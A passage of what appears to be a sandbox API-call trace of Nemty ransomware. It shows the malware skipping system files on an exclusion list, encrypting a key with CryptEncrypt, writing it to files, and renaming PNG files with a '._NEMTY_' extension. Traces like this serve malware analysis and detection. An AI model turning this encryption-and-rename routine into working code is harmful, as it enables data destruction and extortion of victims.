36 [0081.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0081.399] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0081.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0081.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0081.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0081.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0081.399] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0081.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0081.399] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0081.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0081.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0081.399] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0081.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0081.399] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0081.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0081.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94328 [0081.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0081.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0081.399] Sleep (dwMilliseconds=0x5) [0081.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe42c6cd0, dwHighDateTime=0x1d561e7)) [0081.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe42c6cd0, dwHighDateTime=0x1d561e7)) [0081.414] GetLastError () returned 0x5 [0081.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.414] GetLastError () returned 0x5 [0081.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0081.414] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0081.414] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0081.415] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0081.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0081.415] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="ClpzTT78yy15Qmq83D/U9UKijGeVBlUNmNN1XqA1bWeLS64ZGIaK10oDp+kPsaMA\r\nZYFeiNgzmKUL3UOvUEnkF8LY2vEmR3k+SNceso7+dIstWFhMM+0A2yYxtPq9TPob\r\npu1j6uDiK7h23gSKA0DS6UoOOdpmLa0lA6ICXcIVcENoh/5P3UArxnPu6W5NMTN+\r\ncrZy7ge4/nva1WXHFkcQ6Un1JeJoPvKXLnCURlp6gIPR7O70mc4AMbVa4me90rwX\r\n2XmiylbMjJc6jJhwAVHFn/F/g2JW+zXNV/JWmQ6z0qVHYtzDAXZt0Lz0LGyJ4LTO\r\nrxIOjXpsfocBVAye0Jf2MQ==\r\n", pcchString=0x653e91c) returned 1 [0081.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0081.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0081.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0081.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0081.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0081.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0081.415] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.415] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0081.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0081.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.415] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.425] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.434] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.434] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.444] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.453] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.453] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.463] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.472] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.481] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.481] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.491] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.491] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.500] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.500] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.510] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.510] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.516] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.516] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0081.522] CloseHandle (hObject=0xffffffff) returned 0 [0081.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0081.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0081.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0081.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0081.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0081.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0081.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0081.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0081.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0081.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0081.523] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0081.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0081.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0081.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0081.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0081.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0081.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0081.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0081.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0081.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0081.523] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="reflect.png", cAlternateFileName="")) returned 1 [0081.523] lstrcmpiW (lpString1="reflect.png", lpString2=".") returned 1 [0081.523] lstrcmpiW (lpString1="reflect.png", lpString2="..") returned 1 [0081.523] lstrcmpiW (lpString1="reflect.png", lpString2="...") returned 1 [0081.523] lstrcmpiW (lpString1="reflect.png", lpString2="windows") returned -1 [0081.523] lstrcmpiW (lpString1="reflect.png", lpString2="$RECYCLE.BIN") returned 1 [0081.523] lstrcmpiW (lpString1="reflect.png", lpString2="rsa") returned -1 [0081.523] lstrcmpiW (lpString1="reflect.png", lpString2="NTDETECT.COM") returned 1 [0081.523] lstrcmpiW (lpString1="reflect.png", lpString2="ntldr") returned 1 [0081.523] lstrcmpiW (lpString1="reflect.png", lpString2="MSDOS.SYS") returned 1 [0081.523] lstrcmpiW (lpString1="reflect.png", lpString2="IO.SYS") returned 1 [0081.524] lstrcmpiW (lpString1="reflect.png", lpString2="boot.ini") returned 1 [0081.524] lstrcmpiW (lpString1="reflect.png", lpString2="boot.ini") returned 1 [0081.524] lstrcmpiW (lpString1="reflect.png", lpString2="AUTOEXEC.BAT") returned 1 [0081.524] lstrcmpiW (lpString1="reflect.png", lpString2="ntuser.dat") returned 1 [0081.524] lstrcmpiW (lpString1="reflect.png", lpString2="desktop.ini") returned 1 [0081.524] lstrcmpiW (lpString1="reflect.png", lpString2="CONFIG.SYS") returned 1 [0081.524] lstrcmpiW (lpString1="reflect.png", lpString2="RECYCLER") returned 1 [0081.524] lstrcmpiW (lpString1="reflect.png", lpString2="BOOTSECT.BAK") returned 1 [0081.524] lstrcmpiW (lpString1="reflect.png", lpString2="bootmgr") returned 1 [0081.524] lstrcmpiW (lpString1="reflect.png", lpString2="programdata") returned 1 [0081.524] lstrcmpiW (lpString1="reflect.png", lpString2="appdata") returned 1 [0081.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflect.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0081.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflect.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflect.png", lpUsedDefaultChar=0x0) returned 11 [0081.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0081.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflect.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0081.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflect.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflect.png", lpUsedDefaultChar=0x0) returned 11 [0081.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0081.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflect.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0081.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflect.png", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflect.png", lpUsedDefaultChar=0x0) returned 11 [0081.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflect.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0081.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflect.png", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflect.png", lpUsedDefaultChar=0x0) returned 11 [0081.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0081.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0081.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0081.524] Sleep (dwMilliseconds=0x5) [0081.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe43f77d0, dwHighDateTime=0x1d561e7)) [0081.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe43f77d0, 